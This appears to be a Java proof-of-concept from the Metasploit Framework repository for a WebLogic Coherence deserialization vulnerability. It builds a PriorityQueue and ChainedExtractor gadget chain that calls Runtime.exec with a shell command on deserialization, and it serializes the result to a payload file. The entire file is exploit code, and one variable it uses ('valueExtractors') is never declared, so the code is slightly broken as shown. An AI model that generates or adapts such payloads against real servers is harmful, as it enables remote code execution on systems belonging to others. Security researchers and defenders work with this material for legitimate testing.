rapid7/metasploit-framework

import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.supeream.serial.Reflections;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.concurrent.Callable;

/*
 * java.util.PriorityQueue.readObject()
  * java.util.PriorityQueue.heapify()
  * java.util.PriorityQueue.siftDown()
  * java.util.PriorityQueue.siftDownUsingComparator()
  * com.tangosol.util.extractor.AbstractExtractor.compare()
  * com.tangosol.util.extractor.MultiExtractor.extract()
  * com.tangosol.util.extractor.ChainedExtractor.extract()
  * Method.invoke()
  * Runtime.exec()
  *
  * PoC by Y4er
 */
public class Weblogic_2883
{
    public static void main(String args[]) throws Exception
    {
        ReflectionExtractor extractor = new ReflectionExtractor("getMethod", new Object[]{ "getRuntime", new Class[0] });
        ReflectionExtractor extractor2 = new ReflectionExtractor("invoke", new Object[]{ null, new Object[0] });
        ReflectionExtractor extractor3 = new ReflectionExtractor("exec", new Object[]{ new String[]{ "/bin/sh", "-c", "touch /tmp/blah_ze_blah" } });

        ValueExtractor extractors[] = { new ConstantExtractor(Runtime.class), extractor, extractor2, extractor3 };
        ChainedExtractor chainedExt = new ChainedExtractor(extractors);

        Class clazz = ChainedExtractor.class.getSuperclass();
        Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
        m_aExtractor.setAccessible(true);

        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
        ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
            reflectionExtractor
        };

        ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

        PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
        queue.add("1");
        queue.add("1");
        m_aExtractor.set(chainedExtractor1, valueExtractors);

        Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = Runtime.class;
        queueArray[1] = "1";


        FileOutputStream fos = new FileOutputStream("payload_obj.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(queue);
        os.close();
    }
}